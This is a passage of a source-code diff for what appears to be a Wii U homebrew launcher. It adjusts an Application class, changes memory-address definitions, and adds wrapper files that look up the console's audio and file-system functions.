AsyncDeleter::triggerDeleteProcess();
|
AsyncDeleter::triggerDeleteProcess();
|
||||||
}
|
}
|
||||||
|
|
||||||
//! in case we exit to a homebrew let's smoothly fade out
|
|
||||||
if(video) {
|
|
||||||
fadeOut();
|
fadeOut();
|
||||||
}
|
|
||||||
|
|
||||||
log_printf("delete mainWindow\n");
|
|
||||||
delete mainWindow;
|
delete mainWindow;
|
||||||
mainWindow = NULL;
|
|
||||||
|
|
||||||
log_printf("delete fontSystem\n");
|
|
||||||
delete fontSystem;
|
delete fontSystem;
|
||||||
fontSystem = NULL;
|
|
||||||
|
|
||||||
log_printf("delete video\n");
|
|
||||||
delete video;
|
delete video;
|
||||||
video = NULL;
|
|
||||||
|
|
||||||
log_printf("deinitialze memory\n");
|
|
||||||
memoryRelease();
|
|
||||||
}
|
}
|
||||||
|
@ -18,13 +18,11 @@
|
|||||||
#define _APPLICATION_H
|
#define _APPLICATION_H
|
||||||
|
|
||||||
#include "menu/MainWindow.h"
|
#include "menu/MainWindow.h"
|
||||||
#include <gui/video/CVideo.h>
|
#include "video/CVideo.h"
|
||||||
#include "system/CThread.h"
|
#include "system/CThread.h"
|
||||||
|
|
||||||
// forward declaration
|
class Application : public CThread
|
||||||
class FreeTypeGX;
|
{
|
||||||
|
|
||||||
class Application : public CThread {
|
|
||||||
public:
|
public:
|
||||||
static Application * instance() {
|
static Application * instance() {
|
||||||
if(!applicationInstance)
|
if(!applicationInstance)
|
||||||
@ -52,24 +50,23 @@ public:
|
|||||||
int exec(void);
|
int exec(void);
|
||||||
void fadeOut(void);
|
void fadeOut(void);
|
||||||
|
|
||||||
void quit(int code);
|
void quit(int code) {
|
||||||
|
exitCode = code;
|
||||||
|
exitApplication = true;
|
||||||
|
}
|
||||||
|
|
||||||
private:
|
private:
|
||||||
Application();
|
Application();
|
||||||
virtual ~Application();
|
virtual ~Application();
|
||||||
|
|
||||||
bool procUI(void);
|
|
||||||
|
|
||||||
static Application *applicationInstance;
|
static Application *applicationInstance;
|
||||||
static bool exitApplication;
|
static bool exitApplication;
|
||||||
static bool quitRequest;
|
|
||||||
|
|
||||||
void executeThread(void);
|
void executeThread(void);
|
||||||
|
|
||||||
GuiSound *bgMusic;
|
GuiSound *bgMusic;
|
||||||
CVideo *video;
|
CVideo *video;
|
||||||
MainWindow *mainWindow;
|
MainWindow *mainWindow;
|
||||||
FreeTypeGX *fontSystem;
|
|
||||||
GuiController *controller[5];
|
GuiController *controller[5];
|
||||||
int exitCode;
|
int exitCode;
|
||||||
};
|
};
|
||||||
|
@ -7,35 +7,23 @@ extern "C" {
|
|||||||
|
|
||||||
#include "os_defs.h"
|
#include "os_defs.h"
|
||||||
|
|
||||||
#define HBL_VERSION "v2.1"
|
#define HBL_VERSION "v1.2"
|
||||||
#define HBL_VERSION_INT 200
|
|
||||||
|
|
||||||
#define CAFE_OS_SD_PATH "/vol/external01"
|
#define CAFE_OS_SD_PATH "/vol/external01"
|
||||||
#define SD_PATH "fs:"
|
#define SD_PATH "sd:"
|
||||||
#define WIIU_PATH "/wiiu"
|
#define WIIU_PATH "/wiiu"
|
||||||
|
|
||||||
#ifndef MEM_BASE
|
#ifndef MEM_BASE
|
||||||
#define MEM_BASE (0x00800000)
|
#define MEM_BASE (0x00800000)
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#define HBL_TEMP_RPX_PATH "fs:/vol/external01/wiiu/apps/homebrew_launcher/temp"
|
|
||||||
#define HBL_TEMP_RPX_FILE "fs:/vol/external01/wiiu/apps/homebrew_launcher/temp/temp.rpx"
|
|
||||||
|
|
||||||
#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00))
|
#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00))
|
||||||
#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04))
|
#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04))
|
||||||
#define HBL_CHANNEL_OFFSET (0x1300 + 0x08)
|
|
||||||
#define HBL_CHANNEL (*(volatile unsigned int*)(MEM_BASE + HBL_CHANNEL_OFFSET))
|
|
||||||
#define RPX_MAX_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x0C))
|
|
||||||
#define RPX_MAX_CODE_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x10))
|
|
||||||
#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00))
|
#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00))
|
||||||
#define OS_FIRMWARE_OFFSET (0x1400 + 0x04)
|
#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04))
|
||||||
#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + OS_FIRMWARE_OFFSET))
|
|
||||||
|
|
||||||
#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500))
|
#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500))
|
||||||
|
|
||||||
#define MEM_AREA_TABLE ((s_mem_area*)(MEM_BASE + 0x1600))
|
|
||||||
#define APP_BASE_MEM ((unsigned char*)(MEM_BASE + 0x2000))
|
|
||||||
|
|
||||||
#ifndef EXIT_SUCCESS
|
#ifndef EXIT_SUCCESS
|
||||||
#define EXIT_SUCCESS 0
|
#define EXIT_SUCCESS 0
|
||||||
#endif
|
#endif
|
||||||
|
62
src/common/fs_defs.h
Normal file
62
src/common/fs_defs.h
Normal file
@ -0,0 +1,62 @@
|
|||||||
|
#ifndef FS_DEFS_H
|
||||||
|
#define FS_DEFS_H
|
||||||
|
|
||||||
|
#include "types.h"
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/* FS defines and types */
|
||||||
|
#define FS_MAX_LOCALPATH_SIZE 511
|
||||||
|
#define FS_MAX_MOUNTPATH_SIZE 128
|
||||||
|
#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE)
|
||||||
|
#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE
|
||||||
|
|
||||||
|
#define FS_STATUS_OK 0
|
||||||
|
#define FS_RET_UNSUPPORTED_CMD 0x0400
|
||||||
|
#define FS_RET_NO_ERROR 0x0000
|
||||||
|
#define FS_RET_ALL_ERROR (unsigned int)(-1)
|
||||||
|
|
||||||
|
#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000
|
||||||
|
|
||||||
|
/* max length of file/dir name */
|
||||||
|
#define FS_MAX_ENTNAME_SIZE 256
|
||||||
|
|
||||||
|
#define FS_SOURCETYPE_EXTERNAL 0
|
||||||
|
#define FS_SOURCETYPE_HFIO 1
|
||||||
|
#define FS_SOURCETYPE_HFIO 1
|
||||||
|
|
||||||
|
#define FS_MOUNT_SOURCE_SIZE 0x300
|
||||||
|
#define FS_CLIENT_SIZE 0x1700
|
||||||
|
#define FS_CMD_BLOCK_SIZE 0xA80
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
uint32_t flag;
|
||||||
|
uint32_t permission;
|
||||||
|
uint32_t owner_id;
|
||||||
|
uint32_t group_id;
|
||||||
|
uint32_t size;
|
||||||
|
uint32_t alloc_size;
|
||||||
|
uint64_t quota_size;
|
||||||
|
uint32_t ent_id;
|
||||||
|
uint64_t ctime;
|
||||||
|
uint64_t mtime;
|
||||||
|
uint8_t attributes[48];
|
||||||
|
} __attribute__((packed)) FSStat;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
FSStat stat;
|
||||||
|
char name[FS_MAX_ENTNAME_SIZE];
|
||||||
|
} FSDirEntry;
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* FS_DEFS_H */
|
||||||
|
|
@ -5,7 +5,8 @@
|
|||||||
extern "C" {
|
extern "C" {
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
typedef struct _OsSpecifics {
|
typedef struct _OsSpecifics
|
||||||
|
{
|
||||||
unsigned int addr_OSDynLoad_Acquire;
|
unsigned int addr_OSDynLoad_Acquire;
|
||||||
unsigned int addr_OSDynLoad_FindExport;
|
unsigned int addr_OSDynLoad_FindExport;
|
||||||
unsigned int addr_OSTitle_main_entry;
|
unsigned int addr_OSTitle_main_entry;
|
||||||
@ -15,22 +16,8 @@ typedef struct _OsSpecifics {
|
|||||||
unsigned int addr_KernSyscallTbl3;
|
unsigned int addr_KernSyscallTbl3;
|
||||||
unsigned int addr_KernSyscallTbl4;
|
unsigned int addr_KernSyscallTbl4;
|
||||||
unsigned int addr_KernSyscallTbl5;
|
unsigned int addr_KernSyscallTbl5;
|
||||||
|
|
||||||
int (*LiWaitIopComplete)(int, int *);
|
|
||||||
int (*LiWaitIopCompleteWithInterrupts)(int, int *);
|
|
||||||
unsigned int addr_LiWaitOneChunk;
|
|
||||||
unsigned int addr_PrepareTitle_hook;
|
|
||||||
unsigned int addr_sgIsLoadingBuffer;
|
|
||||||
unsigned int addr_gDynloadInitialized;
|
|
||||||
unsigned int orig_LiWaitOneChunkInstr;
|
|
||||||
} OsSpecifics;
|
} OsSpecifics;
|
||||||
|
|
||||||
typedef struct _s_mem_area {
|
|
||||||
unsigned int address;
|
|
||||||
unsigned int size;
|
|
||||||
struct _s_mem_area* next;
|
|
||||||
} s_mem_area;
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
#ifdef __cplusplus
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
7
src/common/types.h
Normal file
7
src/common/types.h
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
#ifndef TYPES_H
|
||||||
|
#define TYPES_H
|
||||||
|
|
||||||
|
#include <gctypes.h>
|
||||||
|
|
||||||
|
#endif /* TYPES_H */
|
||||||
|
|
94
src/dynamic_libs/ax_functions.c
Normal file
94
src/dynamic_libs/ax_functions.c
Normal file
@ -0,0 +1,94 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#include "os_functions.h"
|
||||||
|
#include "ax_functions.h"
|
||||||
|
|
||||||
|
EXPORT_DECL(void, AXInitWithParams, u32 * params);
|
||||||
|
EXPORT_DECL(void, AXQuit, void);
|
||||||
|
EXPORT_DECL(u32, AXGetInputSamplesPerSec, void);
|
||||||
|
EXPORT_DECL(u32, AXGetInputSamplesPerFrame, void);
|
||||||
|
EXPORT_DECL(s32, AXVoiceBegin, void *v);
|
||||||
|
EXPORT_DECL(s32, AXVoiceEnd, void *v);
|
||||||
|
EXPORT_DECL(void, AXSetVoiceType, void *v, u16 type);
|
||||||
|
EXPORT_DECL(void, AXSetVoiceOffsets, void *v, const void *buf);
|
||||||
|
EXPORT_DECL(void, AXSetVoiceSrcType, void *v, u32 type);
|
||||||
|
EXPORT_DECL(void, AXSetVoiceVe, void *v, const void *vol);
|
||||||
|
EXPORT_DECL(s32, AXSetVoiceDeviceMix, void *v, s32 device, u32 id, void *mix);
|
||||||
|
EXPORT_DECL(void, AXSetVoiceState, void *v, u16 state);
|
||||||
|
EXPORT_DECL(void, AXSetVoiceSrc, void *v, const void *src);
|
||||||
|
EXPORT_DECL(s32, AXSetVoiceSrcRatio, void *v,f32 ratio)
|
||||||
|
EXPORT_DECL(void *, AXAcquireVoice, u32 prio, void * callback, u32 arg);
|
||||||
|
EXPORT_DECL(void, AXFreeVoice, void *v);
|
||||||
|
EXPORT_DECL(void, AXRegisterFrameCallback, void * callback);
|
||||||
|
EXPORT_DECL(u32, AXGetVoiceLoopCount, void *v);
|
||||||
|
EXPORT_DECL(void, AXSetVoiceEndOffset, void *v, u32 offset);
|
||||||
|
EXPORT_DECL(void, AXSetVoiceLoopOffset, void *v, u32 offset);
|
||||||
|
|
||||||
|
void InitAXFunctionPointers(void)
|
||||||
|
{
|
||||||
|
unsigned int *funcPointer = 0;
|
||||||
|
unsigned int sound_handle;
|
||||||
|
OSDynLoad_Acquire("sndcore2.rpl", &sound_handle);
|
||||||
|
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXInitWithParams);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXQuit);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXGetInputSamplesPerSec);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXVoiceBegin);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXVoiceEnd);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXSetVoiceType);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXSetVoiceOffsets);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcType);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXSetVoiceVe);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXSetVoiceDeviceMix);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXSetVoiceState);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXSetVoiceSrc);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcRatio);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXAcquireVoice);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXFreeVoice);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXRegisterFrameCallback);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXGetVoiceLoopCount);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXSetVoiceEndOffset);
|
||||||
|
OS_FIND_EXPORT(sound_handle, AXSetVoiceLoopOffset);
|
||||||
|
}
|
||||||
|
|
||||||
|
void ProperlyEndTransitionAudio(void)
|
||||||
|
{
|
||||||
|
bool (* check_os_audio_transition_flag_old)(void);
|
||||||
|
void (* AXInit_old)(void);
|
||||||
|
void (* AXQuit_old)(void);
|
||||||
|
|
||||||
|
unsigned int *funcPointer = 0;
|
||||||
|
unsigned int sound_handle;
|
||||||
|
OSDynLoad_Acquire("snd_core.rpl", &sound_handle);
|
||||||
|
|
||||||
|
OS_FIND_EXPORT_EX(sound_handle, check_os_audio_transition_flag, check_os_audio_transition_flag_old);
|
||||||
|
OS_FIND_EXPORT_EX(sound_handle, AXInit, AXInit_old);
|
||||||
|
OS_FIND_EXPORT_EX(sound_handle, AXQuit, AXQuit_old);
|
||||||
|
|
||||||
|
if (check_os_audio_transition_flag_old())
|
||||||
|
{
|
||||||
|
AXInit_old();
|
||||||
|
AXQuit_old();
|
||||||
|
}
|
||||||
|
}
|
60
src/dynamic_libs/ax_functions.h
Normal file
60
src/dynamic_libs/ax_functions.h
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#ifndef __AX_FUNCTIONS_H_
|
||||||
|
#define __AX_FUNCTIONS_H_
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <gctypes.h>
|
||||||
|
|
||||||
|
void InitAXFunctionPointers(void);
|
||||||
|
void ProperlyEndTransitionAudio(void);
|
||||||
|
|
||||||
|
extern void (* AXInitWithParams)(u32 * params);
|
||||||
|
extern void (* AXQuit)(void);
|
||||||
|
extern u32 (* AXGetInputSamplesPerSec)(void);
|
||||||
|
extern s32 (* AXVoiceBegin)(void *v);
|
||||||
|
extern s32 (* AXVoiceEnd)(void *v);
|
||||||
|
extern void (* AXSetVoiceType)(void *v, u16 type);
|
||||||
|
extern void (* AXSetVoiceOffsets)(void *v, const void *buf);
|
||||||
|
extern void (* AXSetVoiceSrcType)(void *v, u32 type);
|
||||||
|
extern void (* AXSetVoiceVe)(void *v, const void *vol);
|
||||||
|
extern s32 (* AXSetVoiceDeviceMix)(void *v, s32 device, u32 id, void *mix);
|
||||||
|
extern void (* AXSetVoiceState)(void *v, u16 state);
|
||||||
|
extern void (* AXSetVoiceSrc)(void *v, const void *src);
|
||||||
|
extern s32 (* AXSetVoiceSrcRatio)(void *v, f32 ratio);
|
||||||
|
extern void * (* AXAcquireVoice)(u32 prio, void * callback, u32 arg);
|
||||||
|
extern void (* AXFreeVoice)(void *v);
|
||||||
|
extern void (* AXRegisterFrameCallback)(void * callback);
|
||||||
|
extern u32 (* AXGetVoiceLoopCount)(void * v);
|
||||||
|
extern void (* AXSetVoiceEndOffset)(void * v, u32 offset);
|
||||||
|
extern void (* AXSetVoiceLoopOffset)(void * v, u32 offset);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // __VPAD_FUNCTIONS_H_
|
120
src/dynamic_libs/fs_functions.c
Normal file
120
src/dynamic_libs/fs_functions.c
Normal file
@ -0,0 +1,120 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#include "fs_functions.h"
|
||||||
|
#include "os_functions.h"
|
||||||
|
#include "utils/utils.h"
|
||||||
|
|
||||||
|
EXPORT_DECL(int, FSInit, void);
|
||||||
|
EXPORT_DECL(int, FSShutdown, void);
|
||||||
|
EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSDelClient, void *pClient);
|
||||||
|
EXPORT_DECL(void, FSInitCmdBlock, void *pCmd);
|
||||||
|
EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling);
|
||||||
|
|
||||||
|
EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling);
|
||||||
|
|
||||||
|
EXPORT_DECL(int, FSGetStat, void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSGetStatAsync, void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams);
|
||||||
|
EXPORT_DECL(int, FSRename, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error);
|
||||||
|
EXPORT_DECL(int, FSRenameAsync, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams);
|
||||||
|
EXPORT_DECL(int, FSRemove, void *pClient, void *pCmd, const char *path, int error);
|
||||||
|
EXPORT_DECL(int, FSRemoveAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||||
|
EXPORT_DECL(int, FSFlushQuota, void *pClient, void *pCmd, const char* path, int error);
|
||||||
|
EXPORT_DECL(int, FSFlushQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||||
|
EXPORT_DECL(int, FSGetFreeSpaceSize, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error);
|
||||||
|
EXPORT_DECL(int, FSGetFreeSpaceSizeAsync, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams);
|
||||||
|
EXPORT_DECL(int, FSRollbackQuota, void *pClient, void *pCmd, const char *path, int error);
|
||||||
|
EXPORT_DECL(int, FSRollbackQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||||
|
|
||||||
|
EXPORT_DECL(int, FSOpenDir, void *pClient, void *pCmd, const char *path, int *dh, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSOpenDirAsync, void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams);
|
||||||
|
EXPORT_DECL(int, FSReadDir, void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSRewindDir, void *pClient, void *pCmd, int dh, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSCloseDir, void *pClient, void *pCmd, int dh, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSChangeDir, void *pClient, void *pCmd, const char *path, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSChangeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||||
|
EXPORT_DECL(int, FSMakeDir, void *pClient, void *pCmd, const char *path, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSMakeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||||
|
|
||||||
|
EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSOpenFileAsync, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams);
|
||||||
|
EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling);
|
||||||
|
|
||||||
|
EXPORT_DECL(int, FSFlushFile, void *pClient, void *pCmd, int fd, int error);
|
||||||
|
EXPORT_DECL(int, FSTruncateFile, void *pClient, void *pCmd, int fd, int error);
|
||||||
|
EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error);
|
||||||
|
EXPORT_DECL(int, FSSetPosFile, void *pClient, void *pCmd, int fd, int pos, int error);
|
||||||
|
EXPORT_DECL(int, FSWriteFile, void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error);
|
||||||
|
|
||||||
|
void InitFSFunctionPointers(void)
|
||||||
|
{
|
||||||
|
unsigned int *funcPointer = 0;
|
||||||
|
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSInit);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSShutdown);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSAddClientEx);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSDelClient);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSInitCmdBlock);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSGetMountSource);
|
||||||
|
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSMount);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSUnmount);
|
||||||
|
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSGetStat);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSGetStatAsync);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSRename);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSRenameAsync);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSRemove);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSRemoveAsync);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSFlushQuota);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSFlushQuotaAsync);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSize);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSizeAsync);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSRollbackQuota);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSRollbackQuotaAsync);
|
||||||
|
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSOpenDir);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSOpenDirAsync);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSReadDir);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSRewindDir);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSCloseDir);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSChangeDir);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSChangeDirAsync);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSMakeDir);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSMakeDirAsync);
|
||||||
|
|
||||||
|
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSOpenFile);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSOpenFileAsync);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSReadFile);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSCloseFile);
|
||||||
|
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSFlushFile);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSTruncateFile);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSGetStatFile);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSSetPosFile);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, FSWriteFile);
|
||||||
|
}
|
87
src/dynamic_libs/fs_functions.h
Normal file
87
src/dynamic_libs/fs_functions.h
Normal file
@ -0,0 +1,87 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#ifndef __FS_FUNCTIONS_H_
|
||||||
|
#define __FS_FUNCTIONS_H_
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "common/fs_defs.h"
|
||||||
|
|
||||||
|
void InitFSFunctionPointers(void);
|
||||||
|
|
||||||
|
extern int (* FSInit)(void);
|
||||||
|
extern int (* FSShutdown)(void);
|
||||||
|
extern int (* FSAddClientEx)(void *pClient, int unk_zero_param, int errHandling);
|
||||||
|
extern int (* FSDelClient)(void *pClient);
|
||||||
|
extern void (* FSInitCmdBlock)(void *pCmd);
|
||||||
|
extern int (* FSGetMountSource)(void *pClient, void *pCmd, int type, void *source, int errHandling);
|
||||||
|
|
||||||
|
extern int (* FSMount)(void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling);
|
||||||
|
extern int (* FSUnmount)(void *pClient, void *pCmd, const char *target, int errHandling);
|
||||||
|
extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error);
|
||||||
|
extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams);
|
||||||
|
extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error);
|
